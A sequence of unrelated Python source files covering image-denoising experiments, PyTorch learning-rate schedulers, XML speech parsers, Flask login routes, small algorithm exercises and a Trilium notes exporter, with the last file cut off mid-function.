import os
import numpy as np
import pickle
from dataclasses import dataclass
import itertools
from multiprocessing import Pool
import PIL

from noise_reducers.grayscale_gibbs_noise_reducer import GrayscaleGibbsNoiseReducer
from noise_reducers.grayscale_gradient_noise_reducer import GrayscaleGradientNoiseReducer
from noise_reducers import image_utils

@dataclass
class Experiment(object):
    experiment_name: str
    noise_level: float

EXPERIMENTS = [
    Experiment(experiment_name="size800_noise10_flipped", noise_level=0.1),
    Experiment(experiment_name="size800_noise20_flipped", noise_level=0.2),
]
IMAGES_PATH = "../grayscale_images"
IMAGES_PER_EXPERIMENT = 20
ITERATIONS_PER_EXPERIMENT = 300_000
ITERATIONS_PER_EVALUATION = 6000

@dataclass
class ImagePair(object):
    image_id: int
    ground_truth: np.ndarray
    observation: np.ndarray

def get_image_pairs_to_evaluate(experiment_name):
    images_path = os.path.join(IMAGES_PATH, experiment_name)
    image_pairs = []
    for image_id in range(IMAGES_PER_EXPERIMENT):
        ground_truth_path = os.path.join(images_path, f"image_{image_id}_ground_truth.png")
        observation_path = os.path.join(images_path, f"image_{image_id}_observation.png")
        image_pairs.append(ImagePair(
            image_id=image_id,
            ground_truth=image_utils.load_grayscale_image_as_numpy_array(ground_truth_path),
            observation=image_utils.load_grayscale_image_as_numpy_array(observation_path),
        ))
    return image_pairs

def run_with_reducer(reducer, experiment_name, storage_folder):
    os.makedirs(storage_folder, exist_ok=True)
    for image_pair in get_image_pairs_to_evaluate(experiment_name):
        reduction_result = reducer.reduce_noise(
            original_image=image_pair.ground_truth, observation=image_pair.observation,
        )
        reduced_image = PIL.Image.fromarray(reduction_result.reduced_image.astype(np.uint8))
        reduced_image.save(os.path.join(storage_folder, f"reduced_image_{image_pair.image_id}.png"), format="PNG")
    with open(os.path.join(storage_folder, "average_statistics.pickle"), mode="wb") as file_stream:
        pickle.dump(reducer.average_statistics, file_stream)

def run_with_gibbs_reducer(experiment):
    print(f"Gibbs sampling for experiment {experiment.experiment_name} started!")
    reducer = GrayscaleGibbsNoiseReducer(
        noise_level_prior=experiment.noise_level, observation_strength=1.0, coupling_strength=4.0,
        iterations_count=ITERATIONS_PER_EXPERIMENT, iterations_per_evaluation=ITERATIONS_PER_EVALUATION,
    )
    storage_folder = os.path.join(
        IMAGES_PATH, experiment.experiment_name, f"grayscale_gibbs_reducer_{round(experiment.noise_level * 100)}"
    )
    run_with_reducer(reducer, experiment.experiment_name, storage_folder)
    print(f"Gibbs sampling for experiment {experiment.experiment_name} done!")

def run_with_gradient_reducer(experiment):
    print(f"Gradient-based sampling for experiment {experiment.experiment_name} started!")
    reducer = GrayscaleGradientNoiseReducer(
        noise_level_prior=experiment.noise_level, observation_strength=1.0, coupling_strength=4.0, temperature=2.0,
        iterations_count=ITERATIONS_PER_EXPERIMENT, iterations_per_evaluation=ITERATIONS_PER_EVALUATION,
    )
    storage_folder = os.path.join(
        IMAGES_PATH, experiment.experiment_name, f"grayscale_gradient_reducer_{round(experiment.noise_level * 100)}"
    )
    run_with_reducer(reducer, experiment.experiment_name, storage_folder)
    print(f"Gradient-based sampling for experiment {experiment.experiment_name} done!")

def run_with_reducer_type(experiment, reducer_type):
    if reducer_type == "gibbs":
        run_with_gibbs_reducer(experiment)
    elif reducer_type == "gradient":
        run_with_gradient_reducer(experiment)
    else:
        raise ValueError("Invalid type of reducer")

def run_script():
    arguments_to_run = list(itertools.chain(
        zip(EXPERIMENTS, ["gibbs"] * len(EXPERIMENTS)),
        zip(EXPERIMENTS, ["gradient"] * len(EXPERIMENTS)),
    ))
    with Pool(processes=6) as pool:
        pool.starmap(run_with_reducer_type, arguments_to_run)

if __name__ == "__main__":
    run_script()


import os

FEATURE_LOC = './data/jaffe_test_features'

files = os.listdir(FEATURE_LOC)

features = {}

for filename in files:
    path = '/'.join([FEATURE_LOC, filename])

    # Remove all files with a space in them
    if ' ' in filename:
        os.remove(path)
        continue

    f = open(path)

    point_arr = []

    for line in f:
        # Remove comma
        split_arr = line.split(',')
        point = [ float(split_arr[0]), float(split_arr[1]) ]
        point_arr.append(point)

    filename_arr = filename.split('_')
    filename_arr_back = filename_arr[1].split('.')

    features[int(filename_arr_back[0])] = point_arr

labels = 'var jaffe_test_features = ' + repr(features)  + ';\n'
open('./data/processed/jaffe_test_features.js', 'w').write(labels)


# -*- coding: utf-8 -*-
# @Author  : Devin Yang(pistonyang@gmail.com), Gary Lai (glai9665@gmail.com)
__all__ = ['CosineWarmupLr', 'get_cosine_warmup_lr_scheduler', 'get_layerwise_decay_params_for_bert']

from math import pi, cos
from torch.optim.optimizer import Optimizer
from torch.optim.lr_scheduler import LambdaLR

class Scheduler(object):
  def __init__(self):
    raise NotImplementedError

  def get_lr(self):
    raise NotImplementedError

  def state_dict(self):
    """Returns the state of the scheduler as a :class:`dict`.

    It contains an entry for every variable in self.__dict__ which
    is not the optimizer.
    """
    return {key: value for key, value in self.__dict__.items() if key != 'optimizer'}

  def load_state_dict(self, state_dict):
    """Loads the schedulers state.

    Arguments:
        state_dict (dict): scheduler state. Should be an object returned
            from a call to :meth:`state_dict`.
    """
    self.__dict__.update(state_dict)

class CosineWarmupLr(Scheduler):
    """Cosine lr decay function with warmup.

    Lr warmup is proposed by `
        Accurate, Large Minibatch SGD:Training ImageNet in 1 Hour`
        `https://arxiv.org/pdf/1706.02677.pdf`

    Cosine decay is proposed by `
        Stochastic Gradient Descent with Warm Restarts`
        `https://arxiv.org/abs/1608.03983`

    Args:
        optimizer (Optimizer): optimizer of a model.
        batches_per_epoch (int): batches per epoch.
        epochs (int): epochs to train.
        base_lr (float): init lr.
        target_lr (float): minimum(final) lr.
        warmup_epochs (int): warmup epochs before cosine decay.
        warmup_lr (float): warmup starting lr.
        last_iter (int): init iteration.

    Attributes:
        niters (int): number of iterations of all epochs.
        warmup_iters (int): number of iterations of all warmup epochs.

    """
    def __init__(self,
                 optimizer,
                 batches: int,
                 epochs: int,
                 base_lr: float,
                 target_lr: float = 0,
                 warmup_epochs: int = 0,
                 warmup_lr: float = 0,
                 last_iter: int = -1):
        if not isinstance(optimizer, Optimizer):
            raise TypeError('{} is not an Optimizer'.format(type(optimizer).__name__))
        self.optimizer = optimizer
        if last_iter == -1:
            for group in optimizer.param_groups:
                group.setdefault('initial_lr', group['lr'])
            last_iter = 0
        else:
            for i, group in enumerate(optimizer.param_groups):
                if 'initial_lr' not in group:
                    raise KeyError("param 'initial_lr' is not specified "
                                   "in param_groups[{}] when resuming an optimizer".format(i))
        self.baselr = base_lr
        self.learning_rate = base_lr
        self.total_iters = epochs * batches
        self.targetlr = target_lr
        self.total_warmup_iters = batches * warmup_epochs
        self.total_cosine_iters = self.total_iters - self.total_warmup_iters
        self.total_lr_decay = self.baselr - self.targetlr
        self.warmup_lr = warmup_lr
        self.last_iter = last_iter
        self.step()

    def get_lr(self):
        if self.last_iter < self.total_warmup_iters:
            return self.warmup_lr + \
                (self.baselr - self.warmup_lr) * self.last_iter / self.total_warmup_iters
        else:
            cosine_iter = self.last_iter - self.total_warmup_iters
            cosine_progress = cosine_iter / self.total_cosine_iters
            return self.targetlr + self.total_lr_decay * \
                (1 + cos(pi * cosine_progress)) / 2

    def step(self, iteration=None):
        """Update status of lr.

        Args:
            iteration(int, optional): now training iteration of all epochs.
                Usually no need to set it manually.
        """
        if iteration is None:
            iteration = self.last_iter + 1
        self.last_iter = iteration
        self.learning_rate = self.get_lr()
        for param_group in self.optimizer.param_groups:
            param_group['lr'] = self.learning_rate

def get_cosine_warmup_lr_scheduler(optimizer : Optimizer,
                 batches_per_epoch: int,
                 epochs: int,
                 warmup_epochs: int = 0,
                 last_epoch: int = -1):
  """Similar to CosineWarmupLr, with support for different learning rate for different parameter groups as well as better compatibility with current PyTorch API

  Args:
        optimizer (Optimizer): optimizer of a model.
        batches_per_epoch (int): batches per epoch.
        epochs (int): epochs to train.
        warmup_epochs (int): warmup epochs before cosine decay.
        last_epoch (int): the index of the last epoch when resuming training.

  Example:
    ```
    batches_per_epoch = 10
    epochs = 5
    warmup_epochs = 1
    params = get_layerwise_decay_params_for_bert(model)
    optimizer = optim.SGD(params, lr=3e-5)
    lr_scheduler = get_cosine_warmup_lr_scheduler(optimizer, batches_per_epoch, epochs, warmup_epochs=warmup_epochs)
    ```
  """
  total_steps = epochs * batches_per_epoch
  # warmup params
  total_warmup_steps = batches_per_epoch * warmup_epochs
  # cosine params
  total_cosine_steps = total_steps - total_warmup_steps

  def lr_lambda(current_step):
    # lr_lambda should return current lr / top learning rate
    if current_step < total_warmup_steps:
      warmup_progress = current_step / total_warmup_steps
      return warmup_progress
    else:
      cosine_step = current_step - total_warmup_steps
      cosine_progress = cosine_step / total_cosine_steps
      return (1 + cos(pi * cosine_progress)) / 2
  return LambdaLR(optimizer, lr_lambda, last_epoch)

def get_differential_lr_param_group(param_groups, lrs):
  """Assigns different learning rates to different parameter groups.

  Discriminative fine-tuning, where different layers of the network have different learning rates, is first proposed in
  `Jeremy Howard and Sebastian Ruder. 2018. Universal language model fine-tuning for text classification.
  https://arxiv.org/pdf/1801.06146.pdf.` It has been found to stabilize training and speed up convergence.

  Args:
    param_groups: a list of parameter groups (each of which is a list of parameters)
        param group should look like:
        [
          [param1a, param1b, ..]  <-- parameter group 1
          [param2a, param2b, ..]  <-- parameter group 2
          ...
        ]
    lrs: a list of learning rates you want to assign to each of the parameter groups
        lrs should look like
        [
          lr1, <-- learning rate for parameter group 1
          lr2, <-- learning rate for parameter group 2
          ...
        ]

  Returns:
    parameter groups with different learning rates that you can then pass into an optimizer
  """
  assert len(param_groups) == len(lrs), f"expect the learning rates to have the same lengths as the param_group length, instead got {len(param_groups)} and {len(lrs)} as lengths respectively"

  param_groups_for_optimizer = []
  for i in range(len(param_groups)):
    param_groups_for_optimizer.append({
      'params': param_groups[i],
      'lr': lrs[i]
    })
  return param_groups_for_optimizer

def get_layerwise_decay_param_group(param_groups, top_lr=2e-5, decay=0.95):
  """Assign layerwise decay learning rates to parameter groups.

  Layer-wise decay learning rate is used in `Chi Sun, Xipeng Qiu, Yige Xu, and Xuanjing Huang. 2019.
  How to fine-tune BERT for text classification? https://arxiv.org/abs/1905.05583` to improve convergence
  and prevent catastrophic forgetting.

  Args:
    param_groups: a list of parameter groups
        param group should look like:
        [
          [param1a, param1b, ..]  <-- parameter group 1
          [param2a, param2b, ..]  <-- parameter group 2
          ..
        ]
    top_lr: learning rate of the top layer
    decay: decay factor. When decay < 1, lower layers have lower learning rates; when decay == 1, all layers have the same learning rate

  Returns:
    parameter groups with layerwise decay learning rates that you can then pass into an optimizer

  Examples:
    ```
    param_groups = get_layerwise_decay_params_group(model_param_groups, top_lr=2e-5, decay=0.95)
    optimizer = AdamW(param_groups, lr = 2e-5)
    ```
  """
  lrs = [top_lr * pow(decay, len(param_groups)-1-i) for i in range(len(param_groups))]
  return get_differential_lr_param_group(param_groups, lrs)

def get_layerwise_decay_params_for_bert(model, number_of_layer=12, top_lr=2e-5, decay=0.95):
  """Assign layerwise decay learning rates to parameter groups of BERT.

  Layer-wise decay learning rate is used in `Chi Sun, Xipeng Qiu, Yige Xu, and Xuanjing Huang. 2019.
  How to fine-tune BERT for text classification? https://arxiv.org/abs/1905.05583` to improve convergence
  and prevent catastrophic forgetting.

  Args:
    model: your BERT model
    number_of_layer: number of layers your BERT has
    top_lr: learning rate of the top layer
    decay: decay factor. When decay < 1, lower layers have lower learning rates; when decay == 1, all layers have the same learning rate

  Returns:
    BERT parameter groups with different learning rates that you can then pass into an optimizer

  Example:
    ```
    param_groups = get_layerwise_decay_params_for_bert(model, number_of_layer=12, top_lr=2e-5, decay=0.95)
    optimizer = AdamW(param_groups, lr = 2e-5)
    ```
  """
  param_groups = get_param_group_for_bert(model, number_of_layer=number_of_layer, top_lr=top_lr, decay=decay)
  param_groups_for_optimizer = get_layerwise_decay_param_group(param_groups, top_lr=top_lr, decay=decay)
  return param_groups_for_optimizer

def get_param_group_for_bert(model, number_of_layer=12, top_lr=2e-5, decay=0.95):
  """separate each layer of a BERT models into a parameter group

  Args:
    model: your BERT model
    number_of_layer: number of layers your BERT has
    top_lr: learning rate of the top layer
    decay: decay factor. When decay < 1, lower layers have lower learning rates; when decay == 1, all layers have the same learning rate

  Returns:
    a param group that should look like:
        [
          ...
          [param1a, param1b, ..]  <-- parameter group 1, layer 1 of BERT
          [param2a, param2b, ..]  <-- parameter group 2, layer 2 of BERT
          ...
        ]
  """
  param_groups_for_optimizer = [[] for _ in range(number_of_layer+2)] # tail, layer0, layer1 ...., layer11, head
  head = {'pooler', 'norm', 'relative_attention_bias'}
  tail = {'embeddings',}
  layers = [f'layer.{i}.' for i in range(number_of_layer)]

  for name, param in model.named_parameters():
    if belongs(name, tail):
      param_groups_for_optimizer[0].append(param)
    elif belongs(name, head):
      param_groups_for_optimizer[-1].append(param)
    else:
      for i, layer in enumerate(layers):
        if layer in name:
          param_groups_for_optimizer[i+1].append(param)
  return param_groups_for_optimizer

def belongs(name, groups):
    """ checks if name belongs to any of the group
    """
    for group in groups:
      if group in name:
        return True
    return False


import logging
from .geomsmesh import geompy

def sortFaces(facesToSort):
  """tri des faces par surface"""
  logging.info('start')

  l_surfaces = [(geompy.BasicProperties(face)[1], i, face) for i, face in enumerate(facesToSort)]
  l_surfaces.sort()
  facesSorted = [face for _, i, face in l_surfaces]

  return facesSorted, l_surfaces[0][0], l_surfaces[-1][0]


# a good example of multi threading is Sending and Receiving Messages
import threading

class AndreMessenger(threading.Thread):
    def run(self):
        for _ in range(10):
            print(threading.currentThread().getName())

x = AndreMessenger(name = 'Send Thread')
y = AndreMessenger(name = 'Recieve Thread')

x.start()
y.start()


"""By: Xiaochi (George) Li: github.com/XC-Li"""
import xml.etree.ElementTree as ET
from xml.etree.ElementTree import ParseError
from bs4 import BeautifulSoup

def bs_parser(file_name, target_id):
    """
    XML Parser implemented by Beautiful Soup Package
        Args:
        file_name(str): path to the document
        target_id(str): the person_id of speaker of target document
    Returns:
        speech(str): the speech of the speaker
    """
    text_list = []
    with open(file_name, encoding='utf-8') as file:
        soup = BeautifulSoup(file, 'xml')
        target_speech = soup.find_all('speaker', personId=target_id)
        if len(target_speech) > 1:
            pass
            # print('multiple speech:', target_id, file_name)
        for item in target_speech:
            # s = item.get_text(strip=False)  # this will cause the string in subtag concatenated together
            for s in item.stripped_strings:  # bug fix: fix the problem on previous line
                text_list.append(s)
    return ' '.join(text_list)

def xml_parser(file_name, target_id):
    """
    XML Parser implemented by xml package
    Args:
        file_name(str): path to the document
        target_id(str): the person_id of speaker of target document
    Returns:
        speech(str): the speech of the speaker
    """
    try:
        tree = ET.parse(file_name, ET.XMLParser(encoding='utf-8'))
        root = tree.getroot()
    except ParseError:
        with open(file_name, encoding='utf-8') as temp:
            file_data = temp.read()
            file_data = file_data.replace('&', 'and')
            root = ET.fromstring(file_data)

    text_list = []
    for child in root[0]:
        if child.tag == 'speaker':
            if 'personId' in child.attrib:  # contain person ID
                person_id = child.attrib['personId']
            else:
                continue
            if str(person_id) != str(target_id):  # multiple speaker in a document, not target speaker
                continue
            for item in child.findall('p'):
                if len(item) == 0:
                    text_list.append(item.text)
                else:  # multiple sub tag inside 'p' tag
                    if item.text is not None:
                        text_list.append(item.text)
                        text_list.append(' ')
                    for i in item:
                        if i.text is not None:
                            text_list.append(i.text)
                            text_list.append(' ')
                        if i.tail is not None:
                            text_list.append(i.tail)
                            text_list.append(' ')

    return ''.join(text_list)

def xml_to_person_id(file_name):
    """
    NO LONGER USEFUL
    XML parser to get the person_ids from given XML file
    Args:
        file_name(str): file name
    Returns:
        person_ids(set[int]): a set of person ids
    """
    person_ids = set()
    with open(file_name, encoding='utf-8') as file:
        soup = BeautifulSoup(file, 'xml')
        all_speech = soup.find_all('speaker')
        for single_speech in all_speech:
            try:
                person_ids.add(single_speech['personId'])
            except KeyError:
                continue
    return person_ids

def get_person_speech_pair(file_name):
    """
    XML parser to get the person_ids from given XML file
    Args:
        file_name(str): file name
    Returns:
        person_id_speech_pair(dict): Dict[person_id(int) -> speech(str)]
    """
    person_id_speech_dict = dict()
    with open(file_name, encoding='utf-8') as file:
        soup = BeautifulSoup(file, 'xml')
        all_speech = soup.find_all('speaker')
        for single_speech in all_speech:
            try:  # newer format
                person_id = single_speech['personId']
            except KeyError:
                try:  # older format
                    person_id = single_speech['person']
                except KeyError:
                    continue
            single_speech_list = []
            for s in single_speech.stripped_strings:
                single_speech_list.append(s)
            processed_speech = ' '.join(single_speech_list)
            #             print(parsed_speech, '\n')
            if person_id not in person_id_speech_dict:
                person_id_speech_dict[person_id] = []
            person_id_speech_dict[person_id].append(processed_speech)

    for person_id in person_id_speech_dict:
        person_id_speech_dict[person_id] = ' '.join(person_id_speech_dict[person_id])
    return person_id_speech_dict

if __name__ == '__main__':
    # Sample: multiple sub-tag inside p tag
    # print(xml_parser('../opinion_mining/cr_corpus/160/8/E63-E64/4407923.xml', '404'))
    # print(bs_parser('../opinion_mining/cr_corpus/160/8/E63-E64/4407923.xml', '404'))
    print(get_person_speech_pair("D:\\Github\\FN-Research-GW-Opinion-Mining\\opinion_mining\\cr_corpus\\146\\4\\E8-E10\\27718.xml"))


from api.core.workflow import workflow
from flask import request

import api.DAL.data_context.admin.user_update as user_update
import api.DAL.data_context.admin.user_insert as user_insert
import api.DAL.data_context.admin.user_select as user_select

from api.core.admin.credentials import Credentials
from api.core.admin.token import Token

from api.core.admin.validate import InvalidCredential
import api.core.admin.validate as validate

import api.core.response as response
import api.core.sanitize as sanitize

import json

@workflow.route('/admin/register', methods = ['POST'])
def register_user():

    '''Called when adding a new user to the database. Makes sure that all information
    provided is valid(see individual validations for details) and hashes the password for storage'''

    credentials_form = json.loads(request.form['payload'])
    credentials_form = sanitize.form_keys(credentials_form)

    credentials = Credentials.map_from_form(credentials_form)

    try:
        validate.email(credentials.email)
        validate.name(credentials.first_name)
        validate.name(credentials.last_name)
        validate.password(credentials.password)

    except InvalidCredential as invalid:
        return response.error(invalid.args[0])

    credentials.hash_password()

    user_insert.new_user(credentials)

    return login()

@workflow.route('/admin/login', methods = ['POST'])
def login():

    '''Called when a user is loging in (shocker)
    Checks the provided email and password with the values stored in the database'''

    credentials_form = json.loads(request.form['payload'])
    credentials_form = sanitize.form_keys(credentials_form)

    provided_credentials = Credentials.map_from_form(credentials_form)
    stored_credentials = user_select.login_credentials(provided_credentials)

    try:
        validate.login(stored_credentials, provided_credentials)

    except InvalidCredential as invalid:
        return response.error(invalid.args[0])

    token = Token()
    token.user_id = stored_credentials.id
    token.update()

    user_update.token(token)

    return response.add_token(token = token)


# Opus/UrbanSim urban simulation software.
# Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington
# See opus_core/LICENSE

import os, sys, re
from opus_core.export_storage import ExportStorage
from opus_core.store.sql_storage import sql_storage
from opus_core.store.attribute_cache import AttributeCache
from opus_core.simulation_state import SimulationState
from opus_core.session_configuration import SessionConfiguration
from opus_core.database_management.configurations.database_server_configuration import DatabaseServerConfiguration
from opus_core.database_management.database_server import DatabaseServer
from opus_core import paths
from opus_core.strings import create_list_string

def opusRun(progressCB,logCB,params):

    params_dict = {}
    for key, val in params.iteritems():
        params_dict[str(key)] = str(val)

    opus_data_directory = params_dict['opus_data_directory']
    opus_data_directory = paths.prepend_opus_home_if_relative(opus_data_directory)
    opus_data_year = params_dict['opus_data_year']
    database_name = params_dict['database_name']
    table_name = params_dict['table_name']
    database_server_connection = params_dict['database_server_connection']
    overwrite = params_dict['overwrite']

    dbs_config = DatabaseServerConfiguration(database_configuration=database_server_connection)
    server = DatabaseServer(database_server_configuration = dbs_config)
    opusdb = server.get_database(database_name=database_name, create_if_doesnt_exist=False)

    input_storage = sql_storage(storage_location = opusdb)

    attribute_cache = AttributeCache(cache_directory=opus_data_directory)
    output_storage = attribute_cache.get_flt_storage_for_year(opus_data_year)
    SimulationState().set_current_time(opus_data_year)
    SessionConfiguration(new_instance=True,
                         package_order=[],
                         in_storage=AttributeCache())

    if table_name == 'ALL':
        lst = input_storage.get_table_names()
    else:
        lst = re.split(' +', table_name.strip())

    tables = len(lst)
    lst_out = create_list_string(lst, ', ')

    logCB('caching tables:\n%s\n' % lst_out)

    for j, i in enumerate(lst, start=1):
        logCB("Exporting table '%s' to year %s of cache located at %s...\n" %
                   (i, opus_data_year, opus_data_directory))
        try:
            ExportStorage().export_dataset(
                                           dataset_name = i,
                                           in_storage = input_storage,
                                           out_storage = output_storage,
                                           overwrite = overwrite,
                                           )
        except:
            logCB('Error in exporting %s.' % i)
        progressCB(100 * j / tables)

    logCB('successfully cached tables:\n%s\n' % lst_out)

def opusHelp():
    help = 'This tool will get a table from a SQL database and export it to the OPUS cache format.\n' \
           '\n' \
           'opus_data_directory: path to the OPUS data directory (full path, e.g., c:\\opus\\data\\seattle_parcel\\base_year_data, or relative to OPUS_HOME)\n' \
           'opus_data_year: the year to which the data should be exported (2000)\n' \
           'database_name: the name of the database (or PostgreSQL schema) that contains the table\n' \
           'table_name: the name of the tables to be exported, separated by spaces. ALL imports all tables\n' \
           'overwrite: overwrite table if it already exists in the DB\n' \

    return help


import gevent

def eat(name):
    print('%s start task' % name)
    gevent.sleep(2)
    print('%s end task' % name)
    return name + " finished callback"

def play(name):
    print('%s start task' % name)
    gevent.sleep(1)
    print('%s end task' % name)
    return name + " finished callback"

def callback(greenlet):
    print("callback successfully: " + greenlet.value)

g1 = gevent.spawn(eat, 'marcia')
g1.link(callback)
g2 = gevent.spawn(play, name='joe')
g2.link(callback)
gevent.joinall([g1, g2])
print('主')

# import gevent
# from gevent import Greenlet
#
#
# def callback_func():
#     print("callback successfully")
#
#
# class MyGreenlet(Greenlet):
#     def __init__(self, timeout, msg):
#         Greenlet.__init__(self)
#         self.timeout = timeout
#         self.msg = msg
#
#     def _run(self):
#         print("I'm from subclass of Greenlet and want to say: %s" % (self.msg,))
#         gevent.sleep(self.timeout)
#         print("done after sleep %s" % self.timeout)
#
#
# greenlet1 = MyGreenlet(2, 'hello')
# greenlet2 = MyGreenlet(1, 'world')
# greenlet1.start()
# greenlet2.start()
# greenlet1.rawlink(callback_func())
#
# gevent.joinall([greenlet1, greenlet2])
# print("main")
#


# 맨 뒤에 있는 원소를 선택해서 이전에 만들어놓은 원소의 수열 갯수를 이용한다.
import sys

n = int(input())
arr = list(map(int, sys.stdin.readline().split()))
count = [1] * n
for i in range(n):
    for j in range(i):
        if arr[j] < arr[i]:
            count[i] = max(count[i], count[j] + 1)

print(max(count))

week02/연습만이 살길이다!!/11053_가장긴증가하는부분수열.py

11053_가장긴증가하는부분수열.py


import logging

from dcs.point import MovingPoint
from dcs.task import EngageTargets, EngageTargetsInZone, Targets

from game.ato.flightplans.cas import CasFlightPlan
from game.utils import nautical_miles
from .pydcswaypointbuilder import PydcsWaypointBuilder

class CasIngressBuilder(PydcsWaypointBuilder):
    def add_tasks(self, waypoint: MovingPoint) -> None:
        if isinstance(self.flight.flight_plan, CasFlightPlan):
            patrol_center = (
                self.flight.flight_plan.layout.patrol_start.position
                + self.flight.flight_plan.layout.patrol_end.position
            ) / 2
            waypoint.add_task(
                EngageTargetsInZone(
                    position=patrol_center,
                    radius=int(self.flight.flight_plan.engagement_distance.meters),
                    targets=[
                        Targets.All.GroundUnits.GroundVehicles,
                        Targets.All.GroundUnits.AirDefence.AAA,
                        Targets.All.GroundUnits.Infantry,
                    ],
                )
            )
        else:
            logging.error("No CAS waypoint found. Falling back to search and engage")
            waypoint.add_task(
                EngageTargets(
                    max_distance=int(nautical_miles(10).meters),
                    targets=[
                        Targets.All.GroundUnits.GroundVehicles,
                        Targets.All.GroundUnits.AirDefence.AAA,
                        Targets.All.GroundUnits.Infantry,
                    ],
                )
            )


def intersect(nums1, nums2):
    nums3 = []
    for i in nums2:
        if i in nums1:
            nums3.append(i)
            nums1.remove(i)
    return nums3

class Solution(object):
    def intersect(self, nums1, nums2):
        """
        :type nums1: List[int]
        :type nums2: List[int]
        :rtype: List[int]
        """
        dict1 = dict()
        res = []
        for i in nums1:
            if i not in dict1:
                dict1[i] = 1
            else:
                dict1[i] += 1
        for i in nums2:
            if i in dict1 and dict1[i]>0:
                res.append(i)
                dict1[i] -= 1
        return res


import re
import webbrowser
import markdown
import dominate
from dominate.util import raw
from dominate.tags import *
from argparse import ArgumentParser
import shutil
import tempfile
import json
import os
from logging import *
import time
import bs4
import base64
from urllib.parse import unquote_plus

basicConfig(level="DEBUG")

class TriliumPdfExporter:
    EXCLUDE = ["file"]

    def __init__(self, source: str, motd: str) -> None:
        self.source: str = source
        self.motd: str = motd
        self.md = markdown.Markdown(extensions=["extra", "pymdownx.tilde"])
        self.idmap = {}

        self.tempdir: str = None
        self.meta = {}

    def _extract(self):
        tempdir = tempfile.TemporaryDirectory()
        shutil.unpack_archive(self.source, tempdir.name)
        return tempdir

    def _pathtuple(self, path):
        fullpath = unquote_plus(path).split(os.sep)
        pathparts = []
        while len(fullpath) > 0:
            pathparts.append(os.sep.join(fullpath))
            del fullpath[0]
        return tuple(pathparts)

    def _util_parse_meta_children(self, children: list, current: str) -> list:
        out = []
        for c in children:
            if not c["type"] in self.EXCLUDE:
                if "dataFileName" in c.keys():
                    parts = self._pathtuple(
                        os.path.join(current, c["dataFileName"]))
                    self.idmap[tuple(parts)] = c["noteId"]

                out.append(
                    {
                        "title": c["title"],
                        "id": c["noteId"],
                        "type": c["type"],
                        "mime": c["mime"] if "mime" in c.keys() else None,
                        "source": c["dataFileName"]
                        if "dataFileName" in c.keys()
                        else None,
                        "path": c["dirFileName"] if "dirFileName" in c.keys() else None,
                        "content": None,
                        "children": self._util_parse_meta_children(
                            c["children"],
                            os.path.join(
                                current,
                                c["dirFileName"] if "dirFileName" in c.keys() else "",
                            ),
                        )
                        if "children" in c.keys()
                        else [],
                    }
                )
        return out

    def _analyze_metadata(self):
        if not os.path.exists(os.path.join(self.tempdir.name, "!!!meta.json")):
            critical("Failed to load: !!!meta.json file missing.")
            exit(0)

        with open(os.path.join(self.tempdir.name, "!!!meta.json"), "r") as f:
            try:
                raw = json.load(f)
            except:
                critical("Failed to load: !!!meta.json is bad JSON")
                exit(0)

            self.idmap[("",)] = "root"

            out = {
                "title": f"Exported Notes: {time.strftime('%m / %d / %Y')}",
                "id": "root",
                "type": "book",
                "mime": None,
                "source": None,
                "path": "",
                "content": None,
                "children": self._util_parse_meta_children(raw["files"], ""),
            }
        return out

    def _convert_to_html(self, item: dict, current: str, top: bool = False) -> str:
        if top:
            content = div(self.motd if self.motd else "",
                          _class="note-content")
        else:
            content = ""
            if item["source"]:
                if item["source"].endswith(".md"):
                    with open(
                        os.path.join(self.tempdir.name, current,
                                     item["source"]), "r"
                    ) as f:
                        debug(f"Parsing {item['source']}")
                        raw_md = f.read().replace("\\\\(", "$").replace("\\\\)", "$")
                        for k in re.findall("~.*?~", raw_md):
                            raw_md = raw_md.replace(k, "~" + k + "~")

                        content = div(
                            raw(
                                self.md.convert(
                                    raw_md,
                                ).replace("h1", "h5")
                            ),
                            _class="note-content",
                        )
                        item["content"] = content
                elif item["type"] == "canvas":
                    with open(os.path.join(self.tempdir.name, current, item["source"]), "r") as f:
                        debug(f"Parsing canvase {item['source']}")
                        svg = json.load(f)["svg"]
                        content = div(img(
                            src=f"data:image/svg+xml;base64,{base64.b64encode(svg.encode('utf-8')).decode('utf-8')}",
                            _class="svg"
                        ),
                            _class="note-content note-svg"
                        )
                        item["content"] = content
                else:
                    with open(
                        os.path.join(self.tempdir.name, current,
                                     item["source"]), "rb"
                    ) as f:
                        item["content"] = "data:{};base64,{}".format(
                            item["mime"] if item["mime"] else "text/plain",
                            base64.b64encode(f.read()).decode("utf-8"),
                        )
                        self.idmap[
                            self._pathtuple(os.path.join(
                                current, item["source"]))
                        ] = item["content"]

        head = div(
            h2(item["title"]) if item["type"] == "book" else h4(item["title"]),
            _class="note-header",
            id=item["id"],
        )

        children = div(_class="note-children")
        for c in item["children"]:
            try:
                children += self._convert_to_html(
                    c, os.path.join(
                        current, item["path"] if item["path"] else "")
                )
            except ValueError:
                warning("Experienced tag creation error, skipping")

        return div(head, content, children, _class="note")

    def _generate_html(self):
        document = dominate.document(
            title=f"Exported Notes: {time.strftime('%m / %d / %Y')}"
        )

        with document.head:
            link(
                rel="stylesheet",
                href="https://cdn.jsdelivr.net/npm/katex@0.16.0/dist/katex.min.css",
                integrity="sha384-Xi8rHCmBmhbuyyhbI88391ZKP2dmfnOl4rT9ZfRI7mLTdk1wblIUnrIq35nqwEvC",
                crossorigin="anonymous",
            )
            script(
                defer=True,
                src="https://cdn.jsdelivr.net/npm/katex@0.16.0/dist/katex.min.js",
                integrity="sha384-X/XCfMm41VSsqRNQgDerQczD69XqmjOOOwYQvr/uuC+j4OPoNhVgjdGFwhvN02Ja",
                crossorigin="anonymous",
            )
            script(
                defer=True,
                src="https://cdn.jsdelivr.net/npm/katex@0.16.0/dist/contrib/auto-render.min.js",
                integrity="sha384-+XBljXPPiv+OzfbB3cVmLHf4hdUFHlWNZN5spNQ7rmHTXpd7WvJum6fIACpNNfIR",
                crossorigin="anonymous",
                onload="console.log(renderMathInElement(document.body, {delimiters: [{left: '$', right: '$', display: false}]}));",
            )
            style(
                """
                .note-children {
                    padding-left: 8px;
                    border-left: 2px solid #dddddd;
                }

                img {
                    display: block;
                }

                .note-content.note-svg {
                    display: block;
                    width: 90%;
                    height: auto;
                    box-sizing: border-box;
                    padding: 8px;
                    border: 2px solid #dddddd;
                    margin-left: 4px;
                    background-color: white;
                }

                .note-content.note-svg img {
                    display: inline-block;
                    height: auto;
                    width: 100%;
                }
            """
            )

        document += self._convert_to_html(self.meta, "", top=True)
        return document

    def _resolve_link(self, path):
        if not re.match("^[a-z]*?://.*", path):
